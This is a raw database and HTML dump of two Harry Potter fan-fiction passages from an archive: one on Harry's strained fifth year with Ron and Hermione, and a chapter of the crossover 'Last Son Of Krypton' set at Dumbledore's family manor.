been a thorn in the Dark Lord’s side for far too \n    long and needed to be removed as painfully as possible.</p>\n<p>Harry knew it as well as he knew how to fly on a \n    broom. He could even say that few knew Voldemort better than he did, and it \n    would not be a lie, for the scar that resided on his forehead was a daily \n    reminder of the link that united them. </p>\n<p>In such a situation, the terror of any typical student \n    was but a minor detail in the tapestry of Harry’s life. He had no parents \n    to make proud with his marks. Sirius, the only one who was most likely to \n    serve in that aspect was of the same point of view, survival putting to shame \n    the importance the OWLs had in his mind.</p>\n<p>The anxiety that reigned over the whole student \n    body didn’t touch him - <i>couldn’t</i> touch him.</p>\n<p>How could it? </p>\n<p>It was <i>nothing</i> compared to the feeling he \n    had had when preparing to face Voldemort alone in first year, or knowing that \n    he had almost no possibility of winning against the basilisk in his second \n    year. What was a post exam period compared to the danger of facing a hundred \n    Dementors ready to suck his soul out of his body? What was a grade worth when \n    he had dueled against a reborn Voldemort, knowing that death was but a heartbeat \n    away, that scant chance of survival already impossible for his fellow student? \n    </p>\n<p>No exams; OWLs or NEWTs, were significant enough \n    to be worthy of his anxiety.</p>\n<p>Ron and Hermione... well that was something else.</p>\n<p>Right now Harry couldn’t figure out why Ron was \n    reacting with such disbelief expressed in one sentence, in a single look of \n    blazing... what? Anger? And, he could be wrong of course, but some measure \n    of <i>jealousy</i>?</p>\n<p>Good God, he hoped not!</p>\n<p>But he knew Ron Weasley well enough to know that \n    it had been there, even if it was only for a split second.</p>\n<p>Hermione, who had been seated beside Ron, as it \n    was expected, had missed the glimmer in Ron’s eyes when Harry had told them \n    about how he would be spending his summer with Dumbledore instead of with \n    the Dursleys and the offer from the old wizard to be his legal guardian until \n    he was of age.</p>\n<p>Still she felt the veiled anger that shook Ron and \n    placing a hand upon his shoulder, spoke.</p>\n<p>"Ron, what’s the matter? You should be happy \n    that Harry is at least free of his relatives." </p>\n<p>Ron’s hand rose to cover hers, turning and smiling, \n    as he nodded.</p>\n<p>"You’re right. Still, living with Dumbledore? \n    That’s wicked, Harry!" Harry found himself returning Ron’s grin. </p>\n<p>He nodded before biting into a piece of pumpkin \n    pie. "I know... and to think that I could have ended up living with Malfoy." \n    </p>\n<p>Ron nodded back as he swallowed some of the juice \n    in his goblet. "Horrible. Fudge wanting to put you under Lucius’s ‘care’…I \n    tell you that man is daft! He should be removed from his position - that’s \n    for sure." </p>\n<p>That elicited a sigh from the female part of the \n    trio, along with an annoyed glare. "Honestly, don’t you two get bored \n    of talking about that? As long as You-Know-Who doesn’t do anything, Fudge \n    will not be removed. You two have been talking about that since the beginning \n    of the year!" </p>\n<p>That comment earned her a glare from Ron. "Come \n    on, Hermione! How can you say that? That git almost gave Harry into You-Know-Who’s \n    grasp! He’s a bloody menace!" </p>\n<p>Harry swallowed nervously as soon as he saw the \n    telltale signs of Hermione’s temper appearing. </p>\n<p>"But it didn’t happen!" he blurted out, \n    sighing inwardly as he saw the eyes of his two best friends returning to him, \n    their shouting match forgotten. </p>\n<p>For now.</p>\n<p>Hastily, he elaborated, anxious to pull their attention \n    to him and not the confrontation. "What I mean is, it’s kinda weird that \n    Voldemort used a trick like that. He must have known that it wouldn’t work." \n    </p>\n<p>"I don’t know, Harry," said Hermione tentatively, \n    her brown eyes showing she was deep in thought. "Maybe it wasn’t You-Know-Who \n    who prepared that plan. It could have been Lucius Malfoy who tried it. After \n    all, any Death Eater who gives you to the Dark Lord will gain his favor, right?" \n    </p>\n<p>Harry sighed, his mind wandering back to the times \n    he had faced Voldemort, searching for any information that could help. He \n    turned up nothing that could help. </p>\n<p>Looking back at his best friends, he spoke, his \n    voice low so as to not draw the attention of the other Gryffindors. "It \n    may be that. Some of what you say... is true. But I don’t think so. In the \n    third task he wanted to be the one to make me suffer. He forbade Malfoy, Nott \n    and the others from doing anything until things went crazy." </p>\n<p>"Went crazy?" snorted Ron as he attacked \n    another pie at hand. "The whole night was straight from Trelawney’s mind, \n    I tell you. I don’t know, Harry, but from what Dad, Bill and Charlie say, \n    You-Know-Who is more subtle than that. At least when he wants to be. All this \n    stuff with Malfoy sounds too blunt to be from someone as cunning as he is. \n    It’s as you said, it was too bloody obvious that it wouldn’t work." </p>\n<p>Harry nodded, what Ron said made sense... another \n    thing that had changed in his friend. </p>\n<p>The summer after the tragic events of fourth year \n    had agreed with Ron. He had had a massive growth spurt - no doubt from eating \n    so much. He was paradoxically still thin despite the huge quantities of food \n    he devoured and the exercise he did while at the Burrow had helped to tone \n    up his growing muscles. </p>\n<p>Days working in the garden of the Weasley’s home \n    at Ottery Saint Catchpole, de-gnoming the lawn and with more than his fair \n    share of Quidditch matches between the Weasley boys (not forgetting Ginny) \n    gathered at the Burrow and the numerous acquaintances who came to visit had \n    had a good effect on the lanky youth. </p>\n<p>The tanned complexion he had gained working under \n    the sun, the golden freckles and the flame red hair had turned his fair share \n    of heads of the female part of the Hogwarts students. </p>\n<p>But it wasn’t only his body and voice that had changed \n    in the summer and the rest of the year at Hogwarts. There was a sense of maturity \n    that hadn’t been there before, that actually made him look more adult... when \n    his fiery temper didn’t get the better out of him. When that happened (generally \n    during shouting matches with Hermione) any illusion of maturity was shattered. \n    </p>\n<p>Apart from his entrance into the Gryffindor Quidditch \n    team as the keeper, his later appointment as the co-captain along with Alicia \n    Spinnet had helped to erase most of his insecurities. </p>\n<p>Ron <i>excelled</i> in tactics, without a doubt \n    a skill developed through countless hours of Wizard’s Chess (and the muggle \n    variety. Once Ron confessed to Harry his preference for it, something related \n    to the tact and lack of shouting from his pieces). That analytical skill, \n    when used on the strategies of the Quidditch team granted the team an almost \n    endless string of victories, to the great joy of Professor McGonagall and \n    displeasure of Professor Snape. </p>\n<p>Another thing that had helped in Ron’s growth was \n    the fact that, to the surprise of everyone, he had been named the other Gryffindor \n    prefect. </p>\n<p>No one could really explain the reasons behind that \n    decision as McGonagall remained liplocked. Most had expected Harry to be the \n    one named, but McGonagall maintained her policy of silence on the matter. \n    On the other hand, Harry was relieved that he had not been chosen. If that \n    made Ron happier (and Harry knew that it did) then all the better... There \n    were less possible sources of jealousy for Ron. </p>\n<p>Still with changes and all, it was the same Ron, \n    the same boy who looked with disgust at his homework, cursed Professor Snape \n    each time they had double potions with the Slytherins, idolized the Chudley \n    Cannons with a passion and loathed the name of Draco Malfoy.</p>\n<p>Looking at his other best friend, Harry sighed, \n    not without a dose of envy. </p>\n<p>Hermione too had changed, and also it was all for \n    the better. </p>\n<p>As she had not been allowed to go to Bulgaria to \n    visit Viktor Krum in the summer after their fourth year, to compensate for \n    it, her parents had taken her for a tour of the Mediterranean parts of Europe; \n    Spain, Italy, Greece and Turkey before moving on to France and Germany. </p>\n<p>The trip had turned her skin a rich golden from \n    long hours of sunbathing on the beaches of those countries. Healthy food, \n    healthy exercise and hours under the sun had helped with the maturing of her \n    body. Each day Hermione became more like the woman she would be in time, surprising \n    more than one with her physical changes. </p>\n<p>And him? </p>\n<p>Harry had to resist the urge to sigh again as there \n    had been no change in his body since fourth year. </p>\n<p>No growth, no increased height, no change in his \n    already broken voice. It was as though his body was in stasis - fourteen forever. \n    He remained skinny, bony, endowed with only a slight bit of muscle that hid \n    a considerable strength borne out of his own Quidditch training. </p>\n<p>Compared to his friends, he was like a child trapped \n    between blossoming teenagers and that was another source for joking and taunting, \n    mainly from Draco Malfoy (and his brainless goons, Crabbe and Goyle) who having \n    also begun his first stages of puberty towered above him, looking smug with \n    all his pureblooded "I’m-the-best-and-the-rest-of-the-world-is-crap" \n    attitude. </p>\n<p>Harry wouldn’t have minded those changes in his \n    two friends if not for a single <i>crucial</i> detail. </p>\n<p>Somewhere between the end of his fourth year and \n    the beginning of the fifth Ron and Hermione had become an item. When the news \n    had reached him, in one of those rare letters that got to him during that \n    dreadful summer when he had had to pull himself together, his mind had been \n    numb for a couple of hours, his body working in automation to a point that \n    even the Dursleys - who usually ignored him - noticed it. </p>\n<p>In those endless summer days, after he had learned \n    about it, Harry had often wondered if there would be some change in the relationship \n    between the three of them with this new development. </p>\n<p>A part of him told him that it wouldn’t be that \n    way, that he should be happy that his best friends had finally overcome their \n    differences and had begun something that should make him happy by being their \n    friend and sharing their joy... </p>\n<p>But as Harry soon discovered, once he had returned \n    to the familiar Platform Nine-and-Three-Quarters, things didn’t turn out as \n    he had expected them to. </p>\n<p>He had moved to the platform, passing through the \n    barrier in the brick wall. He had started moving through the crowd, not finding \n    his friends even after searching for a good quarter of an hour. It was when \n    desperation was starting to settle in, when he had started thinking that something \n    must have happened to them which had made them late that he had found them.</p>\n<p>Found them making out carelessly, not caring about \n    anything and anyone else... him for example. </p>\n<p>Their greetings had been forced, their minds clearly \n    somewhere else, almost as if he had been a <i>stranger.</i> </p>\n<p>Suddenly Harry felt more alone and colder than when \n    he had faced Voldemort in the duel, surrounded by a good dozen of Death Eaters \n    - when all hope had been lost. </p>\n<p>And just as suddenly as that impression had come \n    to his mind, it was gone and the trio reunited even if his lack of physical \n    growth had made Harry the butt of many harmless jokes, particularly from Ron \n    and Ginny, who, too, was taller than he was.</p>\n<p>Still even through the laughter and hugs a small \n    part of Harry kept thinking about what had happened and prayed that it would \n    not happen again.</p>\n<p>His prayers weren’t answered.</p>\n<p>All throughout the year the situation that had taken \n    place in the platform repeated itself, Hermione forsaking him time after time \n    in favor of Ron and vice versa. Harry was left more than once speechless, \n    in doubt about what to say or do, beyond offering his understanding as it \n    was expected of him for being their friend, sorry looks coming from his Gryffindor \n    fellow students. </p>\n<p>One day after detention with Filch for something \n    or another Harry’s sadness shifted to anger. </p>\n<p>It was well past midterm when it happened. </p>\n<p>They had agreed to meet after Harry was done with \n    his detention to study for a test on Potions courtesy of Snape, who had demonstrated \n    sadism to the point of being a form of art that year. Harry had come to the \n    library, bone-weary but ready to give his all because of Hermione’s nagging \n    the previous night about how important the test was... only to find it empty, \n    with no sign of his best friends anywhere. </p>\n<p>Slightly concerned, Harry started to search the \n    huge Hogwarts library, before Madam Prince asked him to leave. </p>\n<p>On a whim Harry asked her if she had seen Hermione. \n    Not surprisingly, the head librarian told him that indeed she had seen her, \n    only to ask her to get out of the library because she was disturbing the other \n    students with Ron and her kissing away.</p>\n<p>"Quite steamy, it was," were her shocking \n    words.</p>\n<p>Harry had just stood there, not really knowing what \n    to feel or to think. Instincts screaming at him, he blasted his way towards \n    the Gryffindor common room, not even pausing to give the password to the Fat \n    Lady who nevertheless opened the door to let him in, her shocked expression \n    barely registered by his senses as he entered the tower. </p>\n<p>And once he was in, his worst suspicions were proven \n    true. </p>\n<p>Because there, kissing as though there was no tomorrow \n    were Ron and Hermione. She was sitting in his lap, arms around his neck while \n    his were around her waist, occupying one of the comfortable love seats in \n    the common room. </p>\n<p>Looking at them, knowing that they had forgotten \n    him without second consideration made the blood in his veins freeze over, \n    before turning into molten metal, his anger igniting like raging hellfire. \n    </p>\n<p>All attention was on him. Fred, George, Ginny, Neville, \n    Lavender... from the seventh years to the newly arrived first years - they \n    were all focused on him, faces pale, the fear thick in the room, almost as \n    tangible as the heat from the hearth’s fire. </p>\n<p>A fear that only increased when a palpable sheen \n    of power surrounded Harry. The fear nearly turned to panic when the walls \n    started to shake and all the crystal in the tower (and, as it was discovered \n    later in most of Hogwarts) exploded violently. </p>\n<p>That was enough to pull Ron and Hermione out of \n    their little world as they quickly untangled themselves to find everyone in \n    the room looking at Harry whose eyes shone like stars. It wasn’t hard to realize \n    that Harry was seriously pissed off, any consideration about his size forgotten \n    when the very air seemed to crackle with power, nor when he moved towards \n    his room, black robes billowing with an unseen wind, leaving a quarter of \n    the Hogwarts population stunned and maybe for the first time realizing just \n    why Voldemort feared Harry. </p>\n<p>Once Harry was out of the room and everything seemed \n    to have returned to normality (despite a strong scent of ozone emanating from \n    where Harry had been standing) the whole group turned towards the blushing \n    couple, eyes accusing them. </p>\n<p>It was soon discovered that Harry wasn’t in any \n    part of the Gryffindor tower and after a short search by those courageous \n    enough (a rather limited group) proved impossible to be found. </p>\n<p>The only thing that they were sure of was that Harry \n    didn’t sleep in the boy’s dormitories that night. </p>\n<p>By the next morning all the witnesses to the little \n    exchange expected the trio’s friendship to be over and broken beyond repair \n    by the actions of both Ron and Hermione. </p>\n<p>Surprisingly enough, the next morning Harry was \n    back to his usual self, as if nothing had happened, forcing the other two \n    parts of the trio to behave as if nothing was wrong even if it was clear that \n    the couple was walking on eggshells around Harry, looking for the right occasion \n    to excuse themselves. </p>\n<p>The occasion never presented itself. </p>\n<p>To Harry that pseudo-fight was a turning point with \n    things returning to normality even if Ron and Hermione still acted like a \n    couple.</p>\n<p>Most of the time. </p>\n<p>When they weren’t fighting, that was. </p>\n<p>That was something that Harry honestly couldn’t \n    understand, no matter how hard he thought about it. </p>\n<p>Ron and Hermione, despite the show of affection \n    that was thought proper of a couple kept shouting at each other more often \n    than not, disagreeing on most topics and from time to time being really nasty \n    and mean towards each other. </p>\n<p>Sans the time Harry had lost his temper, he had \n    been clearly trying to support his friends in this, (which explained why the \n    whole of Gryffindor had taken his side in the midterm accident) playing the \n    role of peacemaker even when anyone else would have snapped under the pressure \n    of an almost constant act of balancing words with emotions, all the while \n    trying to sound impartial, not really favoring one or the other. </p>\n<p>Not that he was particularly successful when he \n    did put himself between the verbal crossfire. </p>\n<p>Still, his duty as their friend compelled him to \n    try his best. Harry had to try to reconcile them, if not to prevent himself \n    from being used as a shouting board after the actual fight was over and done \n    with...Somehow, the situation always repeated itself. </p>\n<p>And yet, once he was done comforting Hermione or \n    calming down Ron’s temper, a single question came to his mind, time and time \n    again </p>\n<p><i>Why are they doing this?</i> </p>\n<p>It was as though they were the only ones who didn’t \n    realize that it was a relationship doomed from the first fight. Harry hoped, \n    both for their sanity and his own, that they realized it before any real damage \n    was done. </p>\n<p>Now the year was coming to an end and so far things \n    remained as they had been the entire year, as if his two best friends were \n    trapped within a rut of imagined love and bickering, with some peaceful moments \n    in between. </p>\n<p>Blinking, now back to the present, Harry looked \n    at Ron. He had asked something that he had missed in his daze. </p>\n<p>"What?" he asked back, blushing slightly \n    from his embarrassment. </p>\n<p>Ron sighed. "You’ve been out of it for the \n    last five minutes, mate. Where are you going to spend your vacations? Mom \n    wanted you to come to the Burrow with us but with Dumbledore adopting you..." \n    </p>\n<p>Harry blinked. "Now that you mention it, Dumbledore \n    didn’t say much about that. Something about the tropics, I think. Knowing \n    him, it could be anywhere." </p>\n<p>Hermione smiled. "Taking in account that you \n    have never been out of Britain I’m sure that Dumbledore has something special \n    planned." </p>\n<p>Harry nodded, still doubtful. "Probably." \n    He paused before giving his two friends an impish smile. "Once I tried \n    imagining how Dumbledore spent his summers from Hogwarts…Probably sitting \n    on a beach somewhere rubbing oil onto his crooked nose…" </p>\n<p>Ron and Hermione laughed, Harry joining them quickly. \n    When she stopped laughing, Hermione looked at Harry warmly. "It’s quite \n    ironic, isn’t it? I wonder what the Dursleys thought would happen to you when \n    they disowned you. Nothing like this, I’m sure." </p>\n<p>Ron laughed again. "Yeah, that’s right! I’m \n    sure they’ll be disappointed to know that they’ve done you a favor." \n    </p>\n<p>Harry smiled. He was about to answer Ron when a \n    familiar sound drew his attention and that of all those present in the Great \n    Hall. </p>\n<p>Owl post had arrived, birds flying everywhere, parcels \n    and letters landing here and there, for example, Hermione’s copy of the Daily \n    Prophet which she snatched quickly from the air before it fell into her milk. \n    </p>\n<p>"You should think about being a seeker, Hermione," \n    teased Harry after he had checked the crowd of birds for any moving white \n    dot and found none. </p>\n<p>"Hush!" she said as she unfolded the parchment \n    and quickly skimmed the headlines. </p>\n<p>Suddenly her eyes widened. "Holy crickets!" \n    she gasped before literally devouring the text she was reading. You could \n    tell that by the speed her eyes moved across the paper. </p>\n<p>Exchanging a curious glance, Ron and Harry leaned \n    towards her. "What?" </p>\n<p>"Look at this!" and with those words she \n    shoved the newspaper to Ron who glanced at it for a moment before snorting \n    and handing it to Harry. He took it and, after smoothing it over, started \n    reading. </p>\n<p> </p>\n<p><b><i><span class="u">The \n    New Gringotts Tower:</span></i></b></p>\n<p><b><i><span class="u">A \n    Reality, or a Dream?</span></i></b></p>\n<p><i>By Otto \n    Fireplump </i></p>\n<p><i>Daily \n    Prophet Special Courier</i></p>\n<p><i> </i></p>\n<p><i> </i></p>\n<p><i>The wizarding community of the city of London \n    is awed by the new project of the magi-architects hired by the goblin-operated \n    bank of Gringotts - to design and direct the expansion of the Diagon Alley \n    branch of the magical world’s oldest financial institution. </i></p>\n<p><i>The project, already accepted by the ruling council \n    of goblins of said millennia-old organization, will be the greatest change \n    in the design of Diagon Alley since the times of the actual building of the \n    bank. Such change will, without a doubt, change the way wizards and witches \n    perceive our famous alley where Britain’s oldest and most-visited stores such \n    as O<br/><br/></i>\n<!-- FASTCLICK.COM 300x250 Medium Rectangle CODE for portkey.org -->\n</p>'),
	(183, 3, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Generator" content="Microsoft Word 97">\n\n<title>Last Son Of Krypton </title>\n\n\n\n<font color="#0000ff"><p>Last Son Of Krypton </p>\n\n<p>A Harry Potter/ Superman/Smallville/ crossover/fusion/whatever</p>\n\n<p>By Dragonlord </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;<u>Author&#8217;s notes: </u></p><u>\n\n</u><p>&nbsp;</p>\n\n<p>1) This goes (again) for to the people at the Portkey Chat, meaning (author takes a big breath): Bristar, Max, Aurora, Darkstar, Hallie, Misstake, Babygrrl, Thelvyn, Sky is Blue, XxKkAnGxX, Ryoko Blue, Heaven, Lady Slytherin, Countess (aka 714), Hermione QoH, Evil Hermione, Tuxedo Kamen, Mola and all the others. </p>\n\n<p>To all of you, <b>thank you</b> for those wonderful days and nights of friendship and laughter that will never be forgotten.</p>\n\n<b><i></i></b><i></i><p><i><b>YOU ARE THE BEST!! </b></i>X2!!!</p>\n\n<p>And of course special thanks for <b>Nappa</b> and <b>Dauphin</b> that made this possible. From the heart, thank you both!</p>\n\n<p>&nbsp;</p>\n\n<p>2) Well I wanted to post more but as I&#8217;m off to Paris in three hours it will not be possible. This said I hope to be able to post the rest soon, even if I don&#8217;t have the slightest idea how I&#8217;m gonna do it ^_^;</p>\n\n<p>&nbsp;</p>\n\n<p>3) Thanks a lot to those who reviewed (!!!) I will answer each review when I post next part. Sadly I&#8217;m not able to do so now but, fear not, I will be able to do it next time. I promise it!</p>\n\n<p>&nbsp;</p>\n\n<p>And with this said on with the show!</p>\n\n<p>&nbsp;</p>\n\n<b><u></u></b><u></u><p><u><b>Disclaimer</b>:</u> Harry Potter is the sole property of J.K.Rowling. Superman is born out of the minds of Joe Shuster and Jerry Spiegel and all rights are recognized, so if you want to sue me go ahead! </p>\n\n<p>Lose you time.</p>\n\n<p>Otherwise C&amp;C welcome! (and don&#8217;t forget to <b><u>review</u></b> ^_^)</p>\n\n<p>&nbsp;</p>\n\n<p>---------------------------------------</p>\n\n<p>Chapter two: Summer of discoveries</p>\n\n<p>Part 1.2.</p>\n\n<p>---------------------------------------</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Dumbledore departed the next morning, a summons from the Ministry having forced him to leave Harry and the rest of the clan at the manor. </p>\n\n<p>Fawkes the Phoenix remained with Harry, the result of one of the strangest moments of Harry&#8217;s life. </p>\n\n<p>Albus had moved outside the manor, the whole family following him as Fawkes stayed perched upon Harry&#8217;s shoulder, still releasing from time to time notes that could only be magical. Then, once they were out of the boundary of the wards protecting the home (in the glade where he and Amanda had first appeared), Dumbledore had turned and faced the group gathered there, raising his arm to signal for Fawkes to come to him. </p>\n\n<p>In that moment Fawkes pronounced a note, a single flawless note that hung in the air like the sound of a crystal bell, beautiful and haunting. </p>\n\n<p>It was like an explanation<i>.</i></p><i>\n\n</i><p>An <i>excuse.</i></p><i>\n\n</i><p>Albus remained silent for a while, a small sad smile gracing his lips as the morning sun made his hair seem like living silver, both the sun and the smile on his face making him look like a King of times long gone. He nodded once and barely whispered &quot;<i>I understand</i>&quot; before he apparated away, the usual &quot;Pop!&quot; following the rushing of the air in the spot where the old wizard had been standing.</p>\n\n<p>From that day on, Fawkes never left Harry&#8217;s side, not even for a few moments. </p>\n\n<p>You could always find the two of them together, moving through the house or going to meals. When Harry mounted his broom and flew, a streak of gold and red easily matching Harry in speed raced with him in the lake and around grounds of the manor. It was indeed a sight to behold. </p>\n\n<p>Even when Harry went to sleep, the magical songbird remained with him, the teenager lulled to sleep each night by the soft notes the bird produced as he could feel those two tiny, mysterious black eyes look at him, protectively. </p>\n\n<p>Life in the manor continued as if nothing strange had happened. Fawkes remaining with Harry was barely discussed, though Anya was a notable exception, but even the girl who was blunt to a fault let the subject drop quickly. </p>\n\n<p>The same could be said about Harry&#8217;s incorporation into the headmaster&#8217;s family. It just happened, and soon everyone in the house (but Harry) acted as if it had always been so.</p>\n\n<p>But still it was a strange situation. At least, to Harry.</p>\n\n<p>The women (except Danielle, Gabrielle and Anya, of course), led by Rowan, as the mothers and care-givers in the clan had taken it as a personal task to dote on him, looking after him in every way, complaining endlessly about the fact that he was underweight, shouting hysterically when the way the Dursleys had treated him the past fourteen years had been discovered and a hundred more things that they swore to correct before he left with Dumbledore.</p>\n\n<p>The men, in other words, the husbands and male relatives of said women, wisely remained out of it. </p>\n\n<p>To Aberforth and company, it was a way of keeping themselves in the good graces of the females. It was even beyond that - an integrated way of life that was the key to success. At least that was what they explained to him. </p>\n\n<p>Harry quite wisely chose to keep his mouth shut.</p>\n\n<p>Then, when Harry had had some free time away from the mothers of the Dumbledore clan, it was their turn to take a keen interest in him, acting as the women did, thinking of him as another member of the family, like a lost son who had finally found his way back to them. They all wanted to teach him something or to talk with him about this and that... </p>\n\n<p>Harry patiently gave them the time to show him with his usual education, not unlike what he had done in the summer before the second year, indulging Mr. Weasley&#8217;s love for Muggles and their fascinating inventions.</p>\n\n<p>Then of course were the younger generations within the family - Angel, Richie, Gabrielle, Danielle, Liam and the others. More than once, Harry was dragged by them to play games of Quidditch which never seemed to end. A mini league was quickly formed, the adults taking the opportunity to observe the youngsters play and simply be happy... before rushing and taking part in the game. </p>\n\n<p>The only &quot;trouble&quot; occurred when it was time to form the groups. </p>\n\n<p>Each team wanted him as their seeker. In Harry&#8217;s opinion his skills had been greatly exaggerated, his status as a seeker almost legendary and it was a blushing emerald-eyed teen who had to listen to himself being compared with some of the world&#8217;s best players.</p>\n\n<p>In the end Harry had agreed to play Seeker for each team in turns, and the debate over the topic (that had seemed about to be reduced to a family fistfight more than once) was ended. </p>\n\n<p>This continued for some days, Harry not seeing Dumbledore often. When he asked Rowan or one of the others he was told not to mind about &#8216;the old fool&#8217; too much and enjoy his time before he had to make his trip with the Headmaster. </p>\n\n<p>And if for some reason or another he asked the same question again, said woman (or any of the others, for they all seemed fixated on the same thing) would look at him with narrowed eyes and drag him to the kitchen, muttering that he needed more fat and flesh upon his bones.</p>\n\n<p>And so passed the first week at Black Lake manor.</p>\n\n<p>It was the first afternoon of the second week at Dumbledore&#8217;s and Harry was in the library, reading a book about the great wizards in history, commenting on it from time to time to Fawkes, perched in his usual spot upon Harry&#8217;s right shoulder. The bird was looking at the book with the same interest Harry displayed. When consulted the phoenix would remain still for a moment before bobbing his head to show his agreement or otherwise with what Harry was telling him. </p>\n\n<p>This time the book he and Fawkes were reading was interesting, at least more so than the last one, a dusty tome about a hundred ways to cultivate rutabaga in the Bermudas. </p>\n\n<p>It <i>was</i> interesting (Fawkes had agreed with him) but most of the information about old wizards was scarce or had evolved from myths and legends, thus lacking in any information that could be proven true. </p>\n\n<p>What was so curious about it was that if this book was correct, most of the information the wizarding world had about mythical figures like Merlin or the Founders were inaccurate or false, born out of misconceptions and half-truths. </p>\n\n<p>Even the paintings were done using the image accepted as valid by most of the wizarding world, no matter how hardly accurate that conception was. Sometimes those images were used by the very Ministry of Magic as a means of control, not unlike the religions and their church did with the images of their saints and gods.</p>\n\n<p>Misconceptions used to gain more power. </p>\n\n<p>Still Harry was so engrossed in one of the myths regarding the Emrys&#8217; life (and supposed death) that he wasn&#8217;t aware of the figure appearing, shimmering softly in the air as it gained definition and mass, just in front of him.</p>\n\n<p>Rowan looked attentively at the young man reading with the phoenix that had once been her brother&#8217;s comfortably perched upon his shoulder. </p>\n\n<p>She had been living too many years to be fooled by his apparent child-like size. She had heard, along with everyone else in the house, the praises Albus gave him. Although she had been surprised by his physical appearance at their first meeting, she had soon seen hints of the hero lurking under such a defenseless image, the fact that Fawkes had remained with him definitively hammering that concept deeper into her mind.</p>\n\n<p>It was exceedingly rare for a phoenix to choose a human as its partner, but even rarer for that phoenix, once bonded, to pass to another if its previous master was still alive. Albus&#8217;s tales about Harry&#8217;s adventures had been so wild, and she had been ready to dismiss most of them as pure fantasy... </p>\n\n<p>Until that morning when Fawkes made his choice. Since then she had believed that the phoenix had cried for him, something not unheard of but so rare that it was considered miraculous. Only for those worthy enough would a phoenix shed its tears and those were always men and women with a great destiny ahead of them. </p>\n\n<p>But despite being blessed with such gifts, fate had been harsh on him, and the results were clear when you knew where to look.</p>\n\n<p>Even when he was having fun, like in one of the numerous Quidditch matches he had taken part in since arriving, there was always some place in his eyes where joy couldn&#8217;t penetrate totally, or the barely noticeable flinch and tensing of his body whenever he heard a suspicious sound.</p>\n\n<p>In addition to that, the mother in her recognized also the love-starved child who was buried under the weight of the duty thrown upon him and his self-inflicted culpability. That was why she and the other women of the household had taken pains to pamper him, despite his protests... and yet, even with all their effort, something in Harry wasn&#8217;t ready to give in to their unconditional love.</p>\n\n<p>She only hoped that Albus could do something about that.</p>\n\n<p>&quot;Harry, dear?&quot; she asked gently, almost laughing as the boy nearly sprang from his seat, a startled expression crossing his face. His eyes darted wildly around before focusing on the source of the voice. Fawkes&#8217; reaction wasn&#8217;t any better - his wings spreading wide due to Harry&#8217;s surprised jump. The phoenix hovered a moment before settling back on his human perch and throwing her a dark look. </p>\n\n<p>Rowan chuckled, making Harry even more confused. It was clear he wasn&#8217;t used to being startled or surprised. She supposed that years of fighting the dark forces had somehow instilled some sort of danger-sense &#8211; self-preservation - in him. She sighed inwardly, content. They must be doing a good work to for him to relax to that point. </p>\n\n<p>&quot;Sorry to interrupt you, dear...&quot; she excused herself. &quot;But Albus is back from the Ministry and needs to see you.&quot; </p>\n\n<p>&quot;He&#8217;s back?&quot; asked Harry as Fawkes trilled happily. </p>\n\n<p>Rowan smiled, petting the phoenix gently, a gesture the bird returned eagerly, rubbing its head against that hand.</p>\n\n<p>&quot;Yes, he&#8217;s back, even if we wonder why the Ministry needed him for so many days.&quot;</p>\n\n<p>Harry frowned. &quot;Well, I suppose that if there had been any problem he would have told us sooner.&quot;</p>\n\n<p>Rowan nodded. &quot;You&#8217;re right. Now come with me - we must not make my brother wait.&quot;</p>\n\n<p>Harry nodded and took her hand, the room fading for a minute as they reappeared in front of a dark door. Rowan then moved and without bothering to knock at the door, opened it, revealing the smiling face of Dumbledore.</p>\n\n<p>--------------------------------------- </p>\n\n<p>&nbsp;</p>\n\n<p>Once Rowan had exchanged some words with her brother, she left, muttering something about making lunch.</p>\n\n<p>Once she was out of the room, Harry faced the old headmaster, who gestured to him to sit in one of the chairs in front of his desk. As for Fawkes&#8230;The phoenix jumped happily from Harry&#8217;s shoulder and landed upon the desk near Dumbledore who started to pet him, clearly pleasing the bird. </p>\n\n<p>As he sat, Harry reflected that it was the first time that he had ever entered into Albus&#8217;s personal chambers. Now, finally within it, Harry found that it had a more than marked resemblance with the headmaster&#8217;s office back at Hogwarts, which wasn&#8217;t surprising taking in consideration Dumbledore&#8217;s feelings towards the magical school.</p>\n\n<p>This room wasn&#8217;t circular, but was clearly bigger, the paintings of past headmasters and headmistresses missing from the walls. Instead, decorating them were Muggle paintings with such skill and realism exhibited in them that he concluded that they could only be the most expensive of all masterpieces. He could even recognize some of the names in the paintings, which was enough to make him hold his breath, in fear of damaging them.</p>\n\n<i></i><p><i>Van Gogh</i>, <i>Picasso</i>, <i>Velazquez</i>, <i>Leonardo Da Vinci, Michelangelo,</i>\n\n<i>Sezanne</i> and many, many others. </p>\n\n<i><p>Priceless. </p>\n\n</i><p>Books and foreign machines whose function he couldn&#8217;t even begin to guess, astronomical charts, even some crystal cases containing strange items, most looking as if they had come out of some archeological discovery site were scattered around the room. Masks of what he supposed were African tribesmen displayed curious motifs upon their black surface.</p>\n\n<p>But what really filled the room were the multitude of CD cases and the more than impressive sound system installed in the room. From what Harry could see, almost every sort of music was represented (Jim would have been drooling) but the one that was clearly enough Dumbledore&#8217;s favorite was chamber music, something that his chocolate frog card had already advertised.</p>\n\n<p>The familiar fireplace had several seats and couches near it and a door, near the desk, connected with what he supposed was his sleeping quarters. Four windows, one of them near the desk, allowed the light of the day to stream upon the polished surface of the desk.</p>\n\n<p>It was more like entering a museum than some living chambers, but contrary from what could be felt in those temple of the human art Dumbledore&#8217;s personal room had a feeling of vitality even if, by what harry knew, Dumbledore rarely stepped in the manor and even less in this room. </p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Before we begin...&quot; Albus&#8217;s voice drew Harry&#8217;s attention back to him. Then the headmaster presented a folder, but instead of handing it to the teenager, he left it resting on the desk. Harry looked from the folder to Dumbledore, not sure of what to do or say. &quot;I wish to excuse myself. I wasn&#8217;t here the past few days as was my intention... Still I have the documents concerning the adoption ready. I only need a signature from you and we can have the issue concluded quickly.&quot; </p>\n\n<p>&quot;Only a... signature? That&#8217;s all you need?&quot; he asked, suddenly feeling uneasy. </p>\n\n<p>Dumbledore nodded and looked him straight in the eyes. &quot;Before you sign, Harry, I want to ask you a question. And I need an <i>honest</i> answer: do you really want to become a part of this family?&quot;</p>\n\n<p>Harry was about to say yes but then remembered something, or rather yet <i>someone.</i>\n\n</p>\n\n<p>Dumbledore, with his whole attention focused on Harry, noticed that right away. &quot;What is it, Harry?&quot;</p>\n\n<p>Harry looked at his hands before looking up, the 